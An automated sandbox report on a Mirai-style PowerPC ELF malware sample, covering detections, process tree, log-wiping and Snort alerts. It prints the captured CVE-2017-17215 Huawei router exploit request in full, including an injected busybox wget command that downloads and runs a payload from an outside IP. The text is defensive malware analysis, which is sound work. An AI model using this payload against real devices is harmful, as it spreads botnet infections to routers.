Edit tour

Linux Analysis Report
mu3Tajj6Po.elf

Overview

General Information

Sample name:	mu3Tajj6Po.elf renamed because original name is a hash value
Original sample name:	19c0043930c0106009932f31a4b95536.elf
Analysis ID:	1391034
MD5:	19c0043930c0106009932f31a4b95536
SHA1:	fdbe64ae435715ba70390b2afe39bbe4e74b1d42
SHA256:	dec091d830a063c402e40dfc9b737429f964133b19c34cd64aba9d6e54496f43
Tags:	32elfmiraipowerpc
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Deletes system log files

Manipulation of devices in /dev

Sample deletes itself

Sample is packed with UPX

Uses known network protocols on non-standard ports

Deletes log files

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

HTTP GET or POST without a user agent

Sample contains only a LOAD segment without any section mappings

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1391034
Start date and time:	2024-02-12 19:18:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mu3Tajj6Po.elf renamed because original name is a hash value
Original Sample Name:	19c0043930c0106009932f31a4b95536.elf
Detection:	MAL
Classification:	mal88.troj.evad.linELF@0/8@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: mu3Tajj6Po.elf

Runtime Messages

Command:	/tmp/mu3Tajj6Po.elf
PID:	5522
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	faggot got malware'd
Standard Error:

Process Tree

system is lnxubuntu20

fwupd New Fork (PID: 5490, Parent: 1)

gpgconf (PID: 5490, Parent: 1, MD5: ddc6865fed36b9020dfd6fe9d360ebbb) Arguments: /usr/bin/gpgconf --list-dirs

fwupd New Fork (PID: 5492, Parent: 1)

gpgconf (PID: 5492, Parent: 1, MD5: ddc6865fed36b9020dfd6fe9d360ebbb) Arguments: /usr/bin/gpgconf --list-components

fwupd New Fork (PID: 5494, Parent: 1)

gpg (PID: 5494, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: /usr/bin/gpg --version

fwupd New Fork (PID: 5496, Parent: 1)

gpgsm (PID: 5496, Parent: 1, MD5: 66be603a7085efc7ee3140d2ff597485) Arguments: /usr/bin/gpgsm --version

fwupd New Fork (PID: 5498, Parent: 1)

gpgconf (PID: 5498, Parent: 1, MD5: ddc6865fed36b9020dfd6fe9d360ebbb) Arguments: /usr/bin/gpgconf --version

fwupd New Fork (PID: 5500, Parent: 1)

gpg (PID: 5500, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: /usr/bin/gpg --version

fwupd New Fork (PID: 5502, Parent: 1)

gpg (PID: 5502, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 24 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 26 --import -- -&27

fwupd New Fork (PID: 5504, Parent: 1)

gpg (PID: 5504, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 24 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 26 --import -- -&27

fwupd New Fork (PID: 5508, Parent: 1)

gpg (PID: 5508, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 23 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 25 --verify -- -&26 -&28

fwupd New Fork (PID: 5510, Parent: 1)

gpg (PID: 5510, Parent: 1, MD5: 3c2e7402cc788b3a878a1d2bea56afbf) Arguments: gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 23 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 25 --verify -- -&26 -&28

mu3Tajj6Po.elf (PID: 5522, Parent: 5412, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/mu3Tajj6Po.elf

mu3Tajj6Po.elf New Fork (PID: 5524, Parent: 5522)

mu3Tajj6Po.elf New Fork (PID: 5526, Parent: 5524)

mu3Tajj6Po.elf New Fork (PID: 5544, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5546, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5548, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5554, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5556, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5558, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5564, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5566, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5592, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5594, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5599, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5602, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5605, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5613, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5615, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5620, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5623, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5633, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5636, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5641, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5644, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5652, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5654, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5665, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5667, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5674, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5677, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5682, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5684, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5687, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5695, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5698, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5703, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5706, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5716, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5718, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5722, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5725, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5728, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5734, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5737, Parent: 5526)

mu3Tajj6Po.elf New Fork (PID: 5528, Parent: 5524)

mu3Tajj6Po.elf New Fork (PID: 5533, Parent: 5528)

mu3Tajj6Po.elf New Fork (PID: 5529, Parent: 5524)

mu3Tajj6Po.elf New Fork (PID: 5657, Parent: 5524)

mu3Tajj6Po.elf New Fork (PID: 5659, Parent: 5657)

cleanup

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.45.117

Timestamp:	192.168.2.1594.123.45.11752726372152835222 02/12/24-19:19:41.697917
SID:	2835222
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 177.58.180.93

Timestamp:	192.168.2.15177.58.180.9351390372152835222 02/12/24-19:19:32.191942
SID:	2835222
Source Port:	51390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.227.46.9

Timestamp:	192.168.2.1523.227.46.947730372152835222 02/12/24-19:19:24.334153
SID:	2835222
Source Port:	47730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.148.94.25

Timestamp:	192.168.2.15197.148.94.2545068372152835222 02/12/24-19:19:28.627914
SID:	2835222
Source Port:	45068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.227.48.37

Timestamp:	192.168.2.1523.227.48.3757376372152829579 02/12/24-19:19:44.845926
SID:	2829579
Source Port:	57376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.248.70.234

Timestamp:	192.168.2.15124.248.70.23437192372152829579 02/12/24-19:19:12.445147
SID:	2829579
Source Port:	37192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.14.246

Timestamp:	192.168.2.1541.238.14.24641496372152829579 02/12/24-19:19:22.213858
SID:	2829579
Source Port:	41496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.90.221.145

Timestamp:	192.168.2.1541.90.221.14549130372152829579 02/12/24-19:19:29.953781
SID:	2829579
Source Port:	49130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.151.51.50

Timestamp:	192.168.2.15213.151.51.5037820372152829579 02/12/24-19:20:22.356207
SID:	2829579
Source Port:	37820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 93.22.219.169

Timestamp:	192.168.2.1593.22.219.16950312372152835222 02/12/24-19:19:19.924772
SID:	2835222
Source Port:	50312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.238.14.246

Timestamp:	192.168.2.1541.238.14.24641496372152835222 02/12/24-19:19:22.213858
SID:	2835222
Source Port:	41496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.90.221.140

Timestamp:	192.168.2.1541.90.221.14035020372152829579 02/12/24-19:19:52.264346
SID:	2829579
Source Port:	35020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.148.94.25

Timestamp:	192.168.2.15197.148.94.2545068372152829579 02/12/24-19:19:28.627914
SID:	2829579
Source Port:	45068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.227.48.37

Timestamp:	192.168.2.1523.227.48.3757376372152835222 02/12/24-19:19:44.845926
SID:	2835222
Source Port:	57376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.248.70.234

Timestamp:	192.168.2.15124.248.70.23437192372152835222 02/12/24-19:19:12.445147
SID:	2835222
Source Port:	37192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.227.46.9

Timestamp:	192.168.2.1523.227.46.947730372152829579 02/12/24-19:19:24.334153
SID:	2829579
Source Port:	47730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.90.221.145

Timestamp:	192.168.2.1541.90.221.14549130372152835222 02/12/24-19:19:29.953781
SID:	2835222
Source Port:	49130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 77.136.156.149

Timestamp:	192.168.2.1577.136.156.14949068372152829579 02/12/24-19:19:12.647937
SID:	2829579
Source Port:	49068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.90.221.140

Timestamp:	192.168.2.1541.90.221.14035020372152835222 02/12/24-19:19:52.264346
SID:	2835222
Source Port:	35020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 177.58.180.93

Timestamp:	192.168.2.15177.58.180.9351390372152829579 02/12/24-19:19:32.191942
SID:	2829579
Source Port:	51390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.250.67.99

Timestamp:	192.168.2.1541.250.67.9955088372152835222 02/12/24-19:20:16.048556
SID:	2835222
Source Port:	55088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.45.117

Timestamp:	192.168.2.1594.123.45.11752726372152829579 02/12/24-19:19:41.697917
SID:	2829579
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.151.51.50

Timestamp:	192.168.2.15213.151.51.5037820372152835222 02/12/24-19:20:22.356207
SID:	2835222
Source Port:	37820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 93.22.219.169

Timestamp:	192.168.2.1593.22.219.16950312372152829579 02/12/24-19:19:19.924772
SID:	2829579
Source Port:	50312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.250.67.99

Timestamp:	192.168.2.1541.250.67.9955088372152829579 02/12/24-19:20:16.048556
SID:	2829579
Source Port:	55088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 77.136.156.149

Timestamp:	192.168.2.1577.136.156.14949068372152835222 02/12/24-19:19:12.647937
SID:	2835222
Source Port:	49068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 467Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: mu3Tajj6Po.elf, 5659.1.00007f5ce0010000.00007f5ce0013000.rwx.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mu3Tajj6Po.elf, 5659.1.00007f5ce0010000.00007f5ce0013000.rwx.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: mu3Tajj6Po.elf	String found in binary or memory: http://upx.sf.net

Source: LOAD without section mappings

Program segment: 0x100000

Source: /tmp/mu3Tajj6Po.elf (PID: 5659)

SIGKILL sent: pid: 5657, result: successful

Jump to behavior

Source: classification engine

Classification label: mal88.troj.evad.linELF@0/8@0/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/mu3Tajj6Po.elf (PID: 5526)

Deleted: /dev/kmsg

Jump to behavior

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/mu3Tajj6Po.elf (PID: 5526)

Log files deleted: /var/log/kern.log

Jump to behavior

Sample deletes itself

Source: /tmp/mu3Tajj6Po.elf (PID: 5522)

File: /tmp/mu3Tajj6Po.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41496
Source: unknown	Network traffic detected: HTTP traffic on port 47730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35336
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215

Source: mu3Tajj6Po.elf

Submission file: segment LOAD with 7.9522 entropy (max. 8.0)

Source: /tmp/mu3Tajj6Po.elf (PID: 5526)	Truncated file: /var/log/syslog	Jump to behavior
Source: /tmp/mu3Tajj6Po.elf (PID: 5526)	Truncated file: /var/log/kern.log	Jump to behavior
Source: /tmp/mu3Tajj6Po.elf (PID: 5526)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/system.journal	Jump to behavior
Source: /tmp/mu3Tajj6Po.elf (PID: 5526)	Truncated file: /var/log/journal/ee49dfd4fa47433baee88884e2d7de7c/user-1000.journal	Jump to behavior

Source: /usr/bin/gpg (PID: 5502)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpg (PID: 5504)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpg (PID: 5508)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpg (PID: 5510)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/mu3Tajj6Po.elf (PID: 5522)	Queries kernel information via 'uname':	Jump to behavior

Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: 1@`/tmp/systemd-private-d76496b72bf2487abe78ff63f093d446-systemd-timedated.service-3HBiRf/tmp$/tmp/vmware-root_724-2965906890x/var/lib/snapd/assertions/asserts-v0/snap-revision/hKz8iXcGyk8XKu3tWtXP885HbKv55_Om_ByU6Jr00h4r3q9zU1SPxm_2KPjTTdtLx/var/lib/snapd/assertions/asserts-v0/snap-revision/8YdpNp3kaFLupB4SfHo2gN2Djb7tbAp4Sox1sfE3AGqARs_CJue1VpIONN-brlYHx/var/lib/snapd/assertions/asserts-v0/snap-revision/4OJWv6B_8GvGC_JvVebm43XnuGYk9tsglE6UiQ5PuWifczFN3MLC-bIMksJpgFCcx/var/lib/snapd/assertions/asserts-v0/snap-revision/9BAXI0Ev7yi8Jr0AhGcSZsE93ZNCBuYq7fwDsGrMrCHiXfcuqfR4CVOVCCNdt2h2L/var/lib/snapd/assertions/asserts-v0/snap-declaration/16
Source: mu3Tajj6Po.elf, 5706.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: U1/tmp/vmware-root_724-2965906890
Source: mu3Tajj6Po.elf, 5522.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5657.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5659.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuthP4/var/lib/NetworkManager
Source: mu3Tajj6Po.elf, 5706.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: !/var/lib/NetworkManager!/var/lib/dpkg/triggersQ/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants!/var/lib/udisks21/var/lib/vmware/VGAuth/aliasStore
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: s8(/var/lib/vmware/VGAuth/aliasStore/@
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: mu3Tajj6Po.elf, 5522.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5544.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5546.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5548.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5554.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5556.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5558.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5564.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5566.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5592.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5594.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5599.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5602.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5605.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5613.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5615.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: mu3Tajj6Po.elf, 5706.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: !/var/lib/vmware01/var/lib/ubuntu-advantage1/var/cache/dictionaries-common
Source: mu3Tajj6Po.elf, 5522.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5544.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5546.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5548.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5554.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5556.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5558.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5564.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5566.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5592.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5594.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5599.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 